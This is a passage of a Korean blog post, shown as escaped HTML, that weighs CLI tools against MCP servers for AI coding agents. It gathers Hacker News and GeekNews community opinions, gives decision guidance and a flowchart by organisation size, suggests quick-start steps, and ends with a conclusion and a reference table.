&lt;li&gt;&lt;code style=&quot;font-size: 12px; background: #d5f0d5; padding: 1px 5px; border-radius: 3px;&quot;&gt;kasey_junk&lt;/code&gt; &lt;span style=&quot;font-weight: 600;&quot;&gt;&quot;CLI가 최선이라는 주장은 코딩 에이전트가 빙산의 일각이라는 걸 간과&quot;&lt;/span&gt; &amp;mdash; 코딩 외의 에이전트 유즈케이스에서는 CLI가 답이 아닐 수 있음&lt;/li&gt;
&lt;li&gt;&lt;code style=&quot;font-size: 12px; background: #d5f0d5; padding: 1px 5px; border-radius: 3px;&quot;&gt;CuriouslyC&lt;/code&gt; &lt;span style=&quot;font-weight: 600;&quot;&gt;&quot;내 자율 에이전트 Smith에 서비스 메시 + MCP. 정책(OPA)과 모니터링을 한 곳에서&quot;&lt;/span&gt; &amp;mdash; 실제 프로덕션에서 MCP를 사용하는 구체적 사례&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 10px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size14&quot;&gt;출처: &lt;a href=&quot;https://news.ycombinator.com/item?id=47380270&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Hacker News, 263 points, 190 comments (작성 시점 기준)&lt;/a&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;8-4. GeekNews 한국 커뮤니티&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;한국 GeekNews에서도 이 논쟁은 활발히 다뤄지고 있다. 이전 글에서 정리한 의견에 더해, 새로운 관점들이 추가되었다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #d0d7de;&quot;&gt;
&lt;ul style=&quot;margin: 0; padding-left: 20px; line-height: 2.2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code style=&quot;font-size: 12px; background: #dde; padding: 1px 5px; border-radius: 3px;&quot;&gt;@sonnet&lt;/code&gt; &lt;span style=&quot;color: #0066cc; font-weight: 600;&quot;&gt;&quot;MCP의 이점이 없는 용도에 무차별 사용하던 환상에서 깬 것&quot;&lt;/span&gt; &amp;mdash; 하이프 사이클의 &quot;깨어남&quot; 단계를 정확히 묘사&lt;/li&gt;
&lt;li&gt;&lt;code style=&quot;font-size: 12px; background: #dde; padding: 1px 5px; border-radius: 3px;&quot;&gt;@brainer&lt;/code&gt; &lt;span style=&quot;color: #0066cc; font-weight: 600;&quot;&gt;&quot;MCP를 쓴 이유가 long context 한계 때문. 이제 극복됨&quot;&lt;/span&gt; &amp;mdash; LLM 성능 향상이 MCP 의존도를 낮추는 방향으로 작용&lt;/li&gt;
&lt;li&gt;&lt;code style=&quot;font-size: 12px; background: #dde; padding: 1px 5px; border-radius: 3px;&quot;&gt;@jamsya&lt;/code&gt; &lt;span style=&quot;color: #0066cc; font-weight: 600;&quot;&gt;&quot;aws mcp 안 깔아도 claude code가 aws cli로 알아서 가져다 씀&quot;&lt;/span&gt; &amp;mdash; 훈련 데이터에 있는 CLI는 MCP 없이도 자연스럽게 활용됨&lt;/li&gt;
&lt;li&gt;&lt;code style=&quot;font-size: 12px; background: #dde; padding: 1px 5px; border-radius: 3px;&quot;&gt;@develosopher&lt;/code&gt; &lt;span style=&quot;color: #ee2323; font-weight: 600;&quot;&gt;&quot;SaaS 개발자는 CLI vs MCP 중 MCP를 먼저 선택. CLI 지원은 관리 포인트 증가&quot;&lt;/span&gt; &amp;mdash; 서비스 제공자 관점에서는 MCP가 더 효율적&lt;/li&gt;
&lt;li&gt;&lt;code style=&quot;font-size: 12px; background: #dde; padding: 1px 5px; border-radius: 3px;&quot;&gt;@hanje3765&lt;/code&gt; &lt;span style=&quot;color: #0066cc; font-weight: 600;&quot;&gt;&quot;LLM 지능이 높아지면서 MCP 필요성이 모호해짐&quot;&lt;/span&gt; &amp;mdash; 모델 발전이 도구 추상화의 필요성 자체를 줄이고 있음&lt;/li&gt;
&lt;li&gt;&lt;code style=&quot;font-size: 12px; background: #dde; padding: 1px 5px; border-radius: 3px;&quot;&gt;@hulryung&lt;/code&gt; &lt;span style=&quot;color: #0066cc; font-weight: 600;&quot;&gt;&quot;MCP보다 CLI로 툴을 직접 만들어쓰기 시작&quot;&lt;/span&gt; &amp;mdash; 개인 개발자 수준에서는 CLI 전환이 이미 시작됨&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 10px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size14&quot;&gt;출처: &lt;a href=&quot;https://news.hada.io/topic?id=27129&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GeekNews&lt;/a&gt;&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px 18px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;커뮤니티 반응에서 읽히는 패턴&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;개인 개발자&lt;/b&gt;는 CLI로 전환하는 추세, &lt;b&gt;SaaS 제공자와 엔터프라이즈&lt;/b&gt;는 MCP(특히 HTTP)를 유지하는 추세. 이는 정확히 Chen의 주장과 일치한다 &amp;mdash; &quot;CLI vs MCP&quot;는 이분법이 아니라 &lt;b&gt;유즈케이스에 따른 선택&lt;/b&gt;이다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 섹션 9 --&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 10 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;9. 의사결정 가이드&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Holmes의 글과 Chen의 반론, 커뮤니티 논의를 종합하면 하나의 의사결정 프레임워크가 그려진다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;9-1. 개인 개발자&lt;/h3&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #d0d7de;&quot;&gt;&lt;b&gt;권장: CLI 우선&lt;/b&gt;
&lt;ul style=&quot;margin: 12px 0 0 20px; padding: 0; line-height: 2.2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;gh&lt;/code&gt;, &lt;code&gt;aws&lt;/code&gt;, &lt;code&gt;kubectl&lt;/code&gt;, &lt;code&gt;gcloud&lt;/code&gt; 같은 공식 CLI가 있으면 &lt;b&gt;CLI를 사용&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;Claude Code, Cursor 같은 에이전트는 이미 이들을 자연스럽게 활용&lt;/li&gt;
&lt;li&gt;Notion, Linear 같은 CLI 없는 서비스에만 MCP 서버 사용&lt;/li&gt;
&lt;li&gt;로컬 MCP(stdio) 대신 &lt;b&gt;Skills 파일&lt;/b&gt;로 에이전트를 안내하는 것도 좋은 대안&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;9-2. 팀 (5~50명)&lt;/h3&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #d0d7de;&quot;&gt;&lt;b&gt;권장: 하이브리드 &amp;mdash; CLI + HTTP MCP&lt;/b&gt;
&lt;ul style=&quot;margin: 12px 0 0 20px; padding: 0; line-height: 2.2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;외부 서비스 연동: 공식 CLI 우선&lt;/li&gt;
&lt;li&gt;내부 도구 공유: &lt;b&gt;HTTP MCP 서버&lt;/b&gt; 구축 고려
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;DB 접근 권한을 서버에서 관리&lt;/li&gt;
&lt;li&gt;팀 전체의 에이전트 사용 패턴을 모니터링&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;CI/CD 파이프라인의 에이전트: HTTP MCP가 CLI보다 편리&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;9-3. 엔터프라이즈 (50명 이상)&lt;/h3&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px 18px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;권장: HTTP MCP 중심 아키텍처&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0; line-height: 2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;MCP 게이트웨이&lt;/b&gt;: 모든 에이전트 트래픽이 통과하는 중앙 지점
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;인증: OAuth/SSO 통합&lt;/li&gt;
&lt;li&gt;권한: 역할 기반 도구 접근 제어&lt;/li&gt;
&lt;li&gt;감사: 전체 호출 로그&lt;/li&gt;
&lt;li&gt;관측: OpenTelemetry 메트릭&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;CLI도 병행&lt;/b&gt;: 개별 개발자의 로컬 작업에서는 CLI가 여전히 효율적&lt;/li&gt;
&lt;li&gt;&lt;b&gt;MCP Prompts/Resources&lt;/b&gt; 활용 준비: 클라이언트 지원이 확대되면 즉시 적용&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;9-4. SaaS 서비스 제공자&lt;/h3&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin: 20px 0;&quot;&gt;&lt;b&gt;권장: API &amp;rarr; MCP &amp;rarr; CLI 순서&lt;/b&gt;
&lt;ol style=&quot;margin: 12px 0 0 20px; padding: 0; line-height: 2.4;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;좋은 REST API&lt;/b&gt;를 먼저 &amp;mdash; 모든 것의 기반&lt;/li&gt;
&lt;li&gt;&lt;b&gt;MCP 서버&lt;/b&gt;를 제공 &amp;mdash; 에이전트 생태계에 자연스럽게 편입 (GeekNews &lt;code style=&quot;font-size: 12px; background: #dde; padding: 1px 5px; border-radius: 3px;&quot;&gt;@develosopher&lt;/code&gt; 의견과 일치)&lt;/li&gt;
&lt;li&gt;CLI는 &lt;b&gt;파워 유저를 위한 보너스&lt;/b&gt;로 &amp;mdash; 관리 포인트가 증가하므로 우선순위 판단 필요&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;9-5. 의사결정 플로우차트&lt;/h3&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;brainfuck&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;해당 서비스에 공식 CLI가 있는가?
  |
  +-- Yes --&amp;gt; LLM 훈련 데이터에 있는가? (gh, aws, kubectl 등)
  |             |
  |             +-- Yes --&amp;gt; CLI 사용 (토큰 효율 우수)
  |             +-- No  --&amp;gt; CLI + AGENTS.md 문서화
  |
  +-- No  --&amp;gt; 로컬에서만 쓰는가?
                |
                +-- Yes --&amp;gt; MCP (stdio) 또는 API 래퍼
                +-- No  --&amp;gt; 팀/조직 공유인가?
                              |
                              +-- Yes --&amp;gt; MCP (HTTP) 권장
                              |           - 중앙 인증
                              |           - 텔레메트리
                              |           - 자동 배포
                              +-- No  --&amp;gt; MCP (stdio) 가능&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;9-6. 당장 해볼 수 있는 3가지&lt;/h3&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px 18px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;Quick Start &amp;mdash; 오늘 퇴근 전에 할 수 있는 것&lt;/b&gt;
&lt;ol style=&quot;margin: 12px 0 0 20px; padding: 0; line-height: 2.4;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;현재 사용 중인 MCP 서버 목록을 뽑고, CLI로 대체 가능한 것을 식별하라&lt;/b&gt; &amp;mdash; &lt;code&gt;claude mcp list&lt;/code&gt;로 설치된 MCP 서버를 확인하고, 그 중 &lt;code&gt;gh&lt;/code&gt;, &lt;code&gt;aws&lt;/code&gt;, &lt;code&gt;kubectl&lt;/code&gt; 등 공식 CLI가 있는 서비스는 MCP를 제거해도 되는지 검토&lt;/li&gt;
&lt;li&gt;&lt;b&gt;팀 내부 도구 하나를 HTTP MCP로 래핑하는 PoC를 해보라&lt;/b&gt; &amp;mdash; &lt;a href=&quot;https://github.com/PrefectHQ/fastmcp&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;FastMCP&lt;/a&gt; 등을 사용하면 Python 함수 몇 개로 MCP 서버를 띄울 수 있다. 내부 API 하나를 래핑해서 실제 에이전트가 호출하는 것까지 테스트&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&lt;code&gt;claude mcp list&lt;/code&gt; 또는 MCP Inspector로 현재 서버의 도구 수/토큰 소비를 측정하라&lt;/b&gt; &amp;mdash; 도구가 50개 이상 등록되어 있다면, 초기 컨텍스트에 스키마만으로 수천 토큰이 소비되고 있을 수 있다. 실제 사용 빈도가 낮은 도구는 정리 대상&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 11 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;10. 결론 &amp;mdash; 바이브 코딩을 넘어 에이전틱 엔지니어링으로&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;두 주장을 나란히 놓고 보면 이런 그림이 나온다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Holmes가 맞는 부분&lt;/h3&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;LLM은 이미 유명 CLI를 잘 사용한다 &amp;mdash; 이 CLI들에 MCP를 추가하는 것은 비효율적&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;로컬 stdio MCP는 프로세스 관리 오버헤드를 추가한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;디버깅 투명성과 파이프라인 조합성에서 CLI가 우위&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&quot;좋은 API를 만들고, 좋은 CLI를 만들어라&quot; &amp;mdash; 이 원칙은 여전히 유효&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Chen이 맞는 부분&lt;/h3&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;커스텀 CLI도 결국 문서화가 필요하다 &amp;mdash; 토큰 절약은 유명 CLI에만 해당&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;stdio와 HTTP를 구분하지 않고 &quot;MCP가 죽었다&quot;고 하는 것은 오류&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;엔터프라이즈 인증, 텔레메트리, 감사 추적에서 HTTP MCP는 대안이 없다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;MCP Prompts/Resources는 클라이언트 지원만 따라오면 쓸 수 있는 기능인데, 아직 대기 중&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin: 30px 0;&quot;&gt;&lt;b&gt;최종 정리&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;MCP는 죽었다&quot;도, &quot;MCP 만세&quot;도 전체 그림이 아니다.&lt;/p&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;더 정확한 표현은 이렇다:&lt;/p&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0; line-height: 2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;개인 바이브 코딩&lt;/b&gt;에서는 CLI가 더 효율적인 경우가 많다&lt;/li&gt;
&lt;li&gt;&lt;b&gt;조직 수준의 에이전틱 엔지니어링&lt;/b&gt;에서는 HTTP MCP가 현재이자 미래&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-top: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Chen의 마지막 문장을 그대로 옮긴다.&lt;/p&gt;
&lt;p style=&quot;margin-top: 10px; font-style: italic;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;&quot;조직은 카우보이 바이브 코딩을 넘어, 조직적으로 정렬된 에이전틱 엔지니어링으로 이동해야 한다.&quot;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;margin-top: 5px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size14&quot;&gt;원문: &quot;Organizations need architectures and processes that start to move beyond cowboy, vibe-coding culture to organizationally aligned agentic engineering practices.&quot; (출처: &lt;a href=&quot;https://chrlschn.dev/blog/2026/03/mcp-is-dead-long-live-mcp/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;chrlschn.dev&lt;/a&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f8f0ff; border-left: 4px solid #7c3aed; padding: 15px 18px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;저자 관점 &amp;mdash; 한국 엔터프라이즈에 시사하는 바&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;이 논쟁이 한국 독자에게 특히 중요한 이유가 있다. 한국 엔터프라이즈는 이제 막 AI 에이전트 도입을 본격화하고 있고, &quot;MCP를 도입할 것인가, CLI로 갈 것인가&quot;는 지금 당장의 아키텍처 결정이다. &lt;b&gt;CLI가 개인 개발자의 생산성 도구라면, MCP(HTTP)는 조직의 거버넌스 인프라&lt;/b&gt;다. 둘 다 필요하고, 순서와 비중이 중요하다.&lt;/p&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;6개월 후 이 글을 다시 읽었을 때, MCP의 DPoP/Workload Identity가 실제 스펙에 반영되었는지, Prompts/Resources를 지원하는 클라이언트가 늘었는지, 그리고 CLI 생태계가 에이전트 네이티브로 얼마나 변했는지를 확인해보자. 이 세 가지가 이 논쟁의 실질적인 답이 될 것이다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 글을 읽은 후, 당신의 환경에 맞는 질문을 던져보자.&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #d0d7de;&quot;&gt;
&lt;ul style=&quot;margin: 0; padding-left: 20px; line-height: 2.2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;지금 사용 중인 MCP 서버 중, &lt;b&gt;CLI로 대체 가능한 것&lt;/b&gt;은 무엇인가?&lt;/li&gt;
&lt;li&gt;팀의 에이전트 사용 패턴을 &lt;b&gt;중앙에서 모니터링&lt;/b&gt;하고 있는가?&lt;/li&gt;
&lt;li&gt;내부 도구의 인증 정보가 &lt;b&gt;몇 곳에 분산&lt;/b&gt;되어 있는가?&lt;/li&gt;
&lt;li&gt;CI/CD 파이프라인에서 에이전트가 &lt;b&gt;매번 CLI를 설치&lt;/b&gt;하고 있지는 않은가?&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 질문들에 대한 답이 &quot;CLI vs MCP&quot; 논쟁에서 &lt;b&gt;당신의 조직에 맞는 답&lt;/b&gt;을 알려줄 것이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 12 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;11. 참고 자료&lt;/b&gt;&lt;/h2&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;자료&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;링크&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;비고&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Charles Chen 반론 원문&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;a href=&quot;https://chrlschn.dev/blog/2026/03/mcp-is-dead-long-live-mcp/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;chrlschn.dev&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Charles Chen (@chrlschn), 2026.03.14&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9fbff;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Charles Chen 반론 (ITNEXT 교차 게시)&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;a href=&quot;https://itnext.io/mcp-is-dead-long-live-mcp-a67bd74a6576&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;itnext.io&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;ITNEXT 교차 게시, 동일 내용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Eric Holmes 원문&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;a href=&quot;https://ejholmes.github.io/2026/02/28/mcp-is-dead-long-live-the-cli.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;ejholmes.github.io&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Eric Holmes, 2026.02.28&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;이전 글 (CLI vs MCP 분석)&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;a href=&quot;./mcp_vs_cli.html&quot;&gt;mcp_vs_cli.html&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;이 블로그 전편&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9fbff;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Hacker News 토론&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;a href=&quot;https://news.ycombinator.com/item?id=47380270&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;news.ycombinator.com&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;263 points, 190 comments (작성 시점 기준)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;GeekNews 한국 토론&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;a href=&quot;https://news.hada.io/topic?id=27129&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;news.hada.io&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;한국 커뮤니티 반응&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9fbff;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;MCP 2026 공식 로드맵&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;a href=&quot;https://blog.modelcontextprotocol.io/posts/2026-mcp-roadmap/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;modelcontextprotocol.io&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;David Soria Parra, 2026.03.09&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;MCP 공식 문서&lt;/b&gt;&lt;/td&gt;
